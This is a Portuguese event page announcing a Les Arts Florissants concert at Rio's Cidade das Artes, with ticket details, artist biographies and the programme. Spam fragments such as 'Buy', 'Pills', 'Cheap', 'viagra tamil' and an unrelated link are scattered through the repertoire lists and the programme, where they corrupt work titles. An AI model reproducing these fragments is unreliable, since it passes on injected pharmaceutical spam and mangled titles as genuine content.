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“Les arts florissants” na Cidade das Artes

O ensemble instrumental e vocal é um dos mais importantes da cena barroca mundial.

 

SERVIÇO

Cidade das Artes – Teatro de Câmara
Av. das Américas, 5300 – Barra da Tijuca – RJ

Dia 17 de outubro, às 21:30h.

Ingressos
Plateia baixa …………………………….. R$ 50,00
Plateia alta ………………………………. R$ 80,00
www.ingressorapido.com.br
Informações e venda de ingressos: 21 4003-1212
Bilheteria: de terça a sexta, de 13h às 21h. Sábados e domingos, de 12h às 20h (em dias de espetáculo a bilheteria ficará aberta até meia hora após o início da apresentação)
Formas de pagamento: dinheiro ou cartões de crédito e débito Visa, Credicard, Mastercard e Diners. Não aceita cheques
Estacionamento: R$ 8,00 (de segunda a sexta até 18h) / R$10,00 (de segunda a sexta após 18h, sábados e domingos)
www.cidadedasartes.org
facebook.com/cidadedasartes

 

 

Fiéis à interpretação com instrumentos antigos, o Les Arts Florissants vem se dedicando à música barroca desde sua fundação, em 1979. Criado e dirigido pelo cravista e regente franco-americano William Christie, o conjunto recebeu seu nome de uma pequena ópera de Marc-Antoine Charpentier e teve um papel pioneiro ao impor ao horizonte musical francês um repertório até então desconhecido (revelando inclusive tesouros perdidos das coleções da Biblioteca Nacional da França) e atualmente amplamente interpretado e admirado. No dia 17 de outubro, o grupo apresenta no Teatro de Câmara da Cidade das Artes uma seleção de árias escritas por compositores de diferentes gerações, como François Couperin, Louis-Nicolas Clérambault e André Campra.

 

Les arts florissants

Desde Atys de Lully, apresentada na Opéra Comique em 1987 e recriada triunfalmente em 2011, foi a cena lírica que lhes trouxe seus maiores sucessos: tanto com Rameau  (Les Indes galantes, Hippolyte et Aricie, Les Boréades BuyLes Paladins), Lully e Charpentier (MédéeDavid et Jonathas, por ocasião da apresentação do ensemble para os chefes de estado do G7 em 1982, Armide) como Handel (OrlandoAcis and GalateaSemeleAlcinaSerseHerculeL’Allegro, il Moderato ed il Penseroso), Purcell (King Arthur http://www.iceppi.it/?p=5764Dido and AeneasThe Fairy Queen), Mozart (Die ZauberflöteDie Entführung aus dem Serail), ou ainda a trilogia lírica de Monteverdi, sem deixar de mencionar  compositores mais raros como  Landi (Il Sant’Alessio), Cesti (Il Tito) ou ainda Hérold (Zampa).

Nas produções das quais fazem parte, Les Arts Florissants são associados a grandes nomes da cena artística como Jean-Marie Villégier, Robert Carsen, Alfredo Arias, Pier Luigi Pizzi, Jorge Lavelli, Adrian Noble, Andrei Serban, Luc Bondy, Graham Vick, Deborah Warner, Jérôme Deschamps et Macha Makeïeff, Andreas Homoki – assim como aos coreógrafos Francine Lancelot, Béatrice Massin, Ana Yepes, Shirley Wynne, Maguy Marin, François Raffinot, Jiri Kylian, Bianca Li, Trisha Brown, Robyn Orlin, Sasha Waltz, José Montalvo e Dominique Hervieu.

Sua atividade lírica não deve ocultar a vitalidade demonstrada pelos Arts Florissants em concerto, como o provam suas numerosas e marcantes interpretações de óperas e oratórios em versão de concerto ou mises en espace (Zoroastre, Anacréon Les Fêtes d’Hébé de Rameau, Actéon, La Descente d’Orphée aux Enfers de Charpentier, Idoménée de Campra e Idomeneo de Mozart, Jephté de Montéclair, L’Orfeo de Rossi, Giulio Cesare de Handel com Cecilia Bartoli, The Indian Queen de Purcell), seus programas de música de câmara, sagrada ou profana (pequenos motetos de Lully e de Charpentier, madrigais de Monteverdi ou Gesualdo, árias da corte de Lambert, hymns de Purcell…), seus programas com grandes efetivos (grandes motetos de Rameau, de Mondonville ou de Campra, oratórios de Haydn…), sem contar os oratórios de Handel (MessiahIsrael in EgyptTheodora, Susanna, Jephtha e Belshazzar).

A discografia dos Arts Florissants se distingue igualmente pela sua extensão e diversidade: por volta de cem gravações foram realizadas com a Harmonia Mundi, a Warner Classics/Erato e a Virgin Classics. Seu catálogo de DVD foi recentemente enriquecido com La Didone de Cavalli (opus Arte) e com  David et Jonathas (Bel Air Classiques). Em 2013, Les Arts Florissants lançaram seu próprio selo discográfico: Les Éditions Arts Florissants. Após Belshazzar e Le Jardin de Monsieur Rameau, o volume “Mantova” dos madrigais de Monteverdi tornou-se o terceiro título editado.

O conjunto  apresenta todo ano uma temporada de concertos e de espetáculos de ópera na França – no teatro de Caen, onde tem residência musical exclusiva, na sala Pleyel, na Cité de la Musique, na Opéra Comique, no Théâtre des Champs-Élysées, no Château de Versailles, como também em inúmeros festivais (Septembre musical de l’Orne, Beaune, Ambronay, Aix-en-Provence…) – ao mesmo tempo que exerce o papel ativo de embaixador da cultura francesa no exterior: por conta disso o ensemble é convidado regularmente a Nova York, Londres, Edimburgo, Bruxelas, Viena, Salzburgo, Madrid, Barcelona, Moscou, dentre muitos outros países.

Les Arts Florissants introduziu nestes últimos anos várias ações de abertura a públicos novos. O programa Arts Flo Juniors, lançado em 2007, oferece a possibilidade aos estudantes de conservatórios de integrar a orquestra e o coro para uma produção, desde o primeiro dia de ensaio até a última apresentação. A academia do Jardin des Voix, criada em 2002, é realizada de dois em dois anos no teatro Caen e já revelou muitas vozes novas. A parceria, desde 2007, de William Christie e dos Arts Florissants com a Juilliard School oferece a possibilidade de estabelecer vínculos entre a Europa e a América.

Por fim, muitas ações educativas têm lugar, principalmente na região da Baixa Normandia (voltadas tanto para o público de músicos amadores do que para aqueles que não são músicos, sejam crianças ou adultos), mas, igualmente nos conservatórios da região d´Île de France e durante o festival “Dans les Jardins de William Christie”, na Vendéia. O ensemble lançou em 2012 a primeira edição deste festival que reúne Les Arts Florissants, os alunos da Julliard School e os laureados do Jardin des Voix para concertos e passeios nos jardins criados por William Christie em Thiré, na Vendéia.

 

William Christiediretor musical fundador

Cravista, regente, musicólogo e professor, William Christie é o iniciador de uma das mais incríveis aventuras musicais dos últimos trinta anos. Pioneiro da redescoberta da música barroca na França, foi ele quem revelou a um vasto público o repertório francês dos séculos XVII e XVIII. A carreira deste natural de Buffalo (Estado de Nova York), formado em Harvard e em Yale e residente na França desde 1971, conheceu uma reviravolta quando fundou, em 1979, Les Arts Florissants. À frente deste ensemble instrumental e vocal, ao renovar a interpretação de um repertório até então amplamente negligenciado ou esquecido, William Christie impôs muito rapidamente ao mundo sinfônico e aos espetáculos de ópera sua grife pessoal de músico e homem de teatro. Foi, contudo, em 1987 que ele veio a receber verdadeira consagração pública com a produção Atys de Lully, apresentada na Opéra Comique, e que posteriormente veio a triunfar em inúmeros palcos internacionais.

De Charpentier a Rameau, passando por Couperin, Mondonville, Campra ou Montéclair, ele é o mestre da tragédia-lírica como também da ópera-balé, do moteto francês e da música de corte. Mas sua predileção pela música francesa não o impede de explorar outros repertórios europeus: muitas de suas interpretações da música italiana (Monteverdi, Rossi, Scarlatti, Landi) deixaram marcas indeléveis e ele trata com idêntica maestria Purcell e Handel, Mozart e Haydn.

Sua produção lírica prossegue em ritmo intenso e suas colaborações com grandes nomes da mise en scène de teatro e de ópera (Jean-Marie Villégier, Robert Carsen, Alfredo Arias, Jorge Lavelli, Graham Vick, Adrian Noble, Andrei Serban, Luc Bondy, Deborah Warner, entre outros) adquirem sempre um caráter de grande acontecimento: é o caso do ciclo Rameau na Ópera de Paris, de Alcina e dos balés  Purchase Doux Mensonges e L’Allegro, il Moderato ed il Penseroso; no Teatro de Caen – local de residência dos Arts Florissants onde é realizada grande parte de suas apresentações desde 1989 – no Théâtre du Châtelet, na Opéra Comique, particularmente com Atys, desde 1987, e  de inúmeras produções desde 2008, no Théâtre des Champs-Elysées desde 1985, no Teatro Real de Madrid para uma trilogia de Monteverdi entre 2008 e 2010, na Brooklyn Academy of Music quase todo ano, há vinte anos, ou ainda no Festival d’Aix-en-Provence,  o conjunto Les Arts Florissants apresentou diversas óperas de Rameau, Purcell, Mozart, Handel, Monteverdi e Charpentier.

Como regente convidado, William Christie conduz frequentemente nos festivais de arte lírica, como Glyndebourne (particularmente para uma versão de Hippolyte et Aricie no verão de 2013), ou em casas de ópera como o Metropolitan Opera de Nova York, o Opernhaus de Zurique ou a Ópera Nacional de Lyon. Entre 2002 e 2007 ele foi regularmente regente convidado da Orquestra Filarmônica de Berlin.

Christie recebeu a nacionalidade francesa em 1995. Ele é comendador da Ordem da Légion d´Honneur assim como da Ordre des Arts et des Lettres e Docteur Honoris Causa da State University of New York em Buffalo e da Juilliard School. Em novembro de 2008, foi eleito membro da Academia das Belas Artes e foi recebido oficialmente sob a cúpula do Institut de France em janeiro de 2010. O maestro também recebeu em 2005 o Prêmio Georges Pompidou e em 2004 foi-lhe atribuído pela Académie de Beaux-Arts o Prêmio de Canto Coral Liliane Bettencourt.

 

Élodie FonnardPurchase soprano

Jovem soprano revelada em 2011 pelo Jardin des Voix de William Christie, Elodie Fonnard vem firmando-se como uma das cantoras de maior destaque na nova cena barroca. Formada em piano, ela estudou canto com Alain Buet nos conservatórios de Caen e Alençon. Aperfeiçou-se em seguida sob a orientação de Raphaël Sikorski e diplomou-se em Música Antiga pela CRR de Paris, integrando as classes de Howard Crook e Kenneth Weiss. Aos 17 anos, estreou no Théâtre de Caen no papel de Mastrilla (La Périchole d’Offenbach) e deu início a uma ativa vida musical apresentando-se em companhia de diversos conjuntos como Le Concert d´Astrée da regente Emmanuelle Haim (Juno, The Fairy Queen de Purcell), Le Poème Harmonique do maestro Vincent Dumestre (Hymen, Cadmus et Hermione de Lully)e junto do Les Arts Florissants de William Christie, com o qual são dignas de nota suas atuações como Flore em  Atys de Lully,  Belinda em Dido and Aeneas de Purcell,  Galatea em Acis and Galatea de Handel,  Diane em Actéon de Charpentier e cantando em David et Jonathas de Charpentier no Festival d’Aix-en-Provence. Em paralelo à sua carreira de cantora lírica, Elodie Fonnard integra a companhia de teatro Soleil de Nuit (Bouteille(s) à la mer  baseada em Jacques Prévert, Zazie dans le métro de Raymond Queneau).

 

Marc Mauillon, barítono

Ao mesmo tempo em que atua com sucesso nos repertórios mais diversos, Marc Mauillon é hoje um dos mais estimados e reconhecidos intérpretes da cena barroca, tanto na França como no exterior. O artista vem se apresentando durante a temporada 2014/15 com o ensemble Arts Florissants nos Grandes Motetos de Rameau, em Caen e Paris, na peça Les Fêtes Vénitiennes de Campra, e igualmente em programas de árias da corte apresentados em turnê na França, nos Estados Unidos e na América do Sul. Nos últimos anos seu nome esteve associado a produções prestigiosas como Armide de Lully (Théâtre des Champs-Élysées), Platée (Theater an der Wien na Áustria, Nova York e na Opéra Comique); Atys (Opéra Comique, Caen, Bordéus e Nova York) sem contar os numerosos recitais de motetos e de ares da corte com os quais se apresentou ao lado dos Arts Florissants; o CombatimentoEgisto de Cavalli (no papel de protagonista – na Opéra Comique e no Grand Théâtre de Luxembourg),  Pills Cadmus et Hermione (Ópera de Rouen) com o Poema Harmônico; King Arthur encenado por Shirley e Dino com o Concert Spirituel ou ainda Hyppolyte et Aricie no papel de Tisiphone (Ópera de Paris, direção Emmanuelle Haїm). Enfim, Mauillon cantou em numerosas produções de Dido & Aeneas seja no papel de Enéas, do Espírito ou da Feiticeira.

 

FICHA TÉCNICA

William Christie, direção musical

Élodie Fonnard, soprano
Marc Mauillon, baixo

Músicos 
Florence Malgoire, Catherine Girard, violinos
Myriam Rignol, viola de gamba
Thomas Dunford, arquiataúde
William Christie, cravo

 

PROGRAMA

André Campra 
“Volez, hymen, volez quand l’amour vous appelle”
[Voai Himeneu, voai quando o amor clama por vós]
Duo transcrito da cantata Enéas & Dido (Livro II)

François Couperin
Purchase Jean s’en alla – Épitaphe d’un paresseux
[Jean se foi – Epitáfio de um preguiçoso]
Air à boire da coletânea Recueil d’airs sérieux et à boire – Paris, 1706

Doux liens de mon cœur
[Doces laços de meu coração]
Air sérieux
 da coletânea obra Recueil d’airs sérieux et à boire – Paris, 1701

Qu’on ne me dise plus que c’est la seule absence
[Não me venham mais dizer ser a ausência por si só]
Air sérieux
 da coletânea Recueil d’airs sérieux et à boire – Paris, 1697

Les Pellerines : La Marche, La Caristade, Le Remerciement viagra tamil
[Les Pellerines: A Marcha, A Caridade, O Agradecimento]
Airs sérieux
 da coletânea Recueil d’airs sérieux et à boire – Paris, 1712

Gaspard Le Roux
Suite en ré: Allemande La Vauvert, Courante, Sarabande grave, Menuet, Passepied
Suíte das Pièces pour clavecin, 1705

Nicolas Bernier
Jupiter et Europe
[Júpiter e Europa]
Cantata das Cantates françoises (Livro IV)

Marin Marais
Les voix humaines
[As vozes humanas]
Transcrição para alaúde solo das Pièces de viole (Livro II)

André Campra
Les Femmes
[As mulheres]
Cantata das Cantates françoises (Livro I)

Elisabeth Jacquet de la Guerre,
Dormez, dormez, ne vous défendez pas d’un sommeil si rempli de charmes
[Dormi, dormi, não resistais a sono tão pleno de encantamentos]
Ária da cantata Le sommeil d’Ulisse das Cantates françaises (Livro III)

Nicolas Bernier
O nuit, c’est à tes voiles sombres
[Ô noite, pertence aos teus sombrios mantos]
Duo da cantata Diane et Endymion que faz parte das Cantates françaises (Livro II)

Marin Marais
La Rêveuse
Cheap [A Sonhadora]
Peça das Pièces de viole (Livro IV)

Louis-Nicolas Clérambault,
“Régnez, brillante Flore”
[Reine, Flora brilhante]
Ária da cantata L’isle de Délos das Cantates françoises (Livro III)

Michel Pignolet de Montéclair
“Sortez, tonnez vents furieux”
[Saí, troai furiosos ventos]
Ária da cantata L’enlèvement d’Orithie das Cantates à une et deux voix (Livro II)

Louis-Nicolas Clérambault,
“Monarque redouté de ces royaumes sombres”
[Temido monarca destes sombrios reinos]
Transcrito de Orphée das Cantates françoises à une et deux voix (Livro I)

André Campra
“Que vois-je ! Quel objet !”
[O que vejo! Que objeto !]
Duo transcrito do Triomphe de la Folie, quinta Entrée, acrescentada a partir das Fêtes vénitiennes (cena 6)

 

 

 

 

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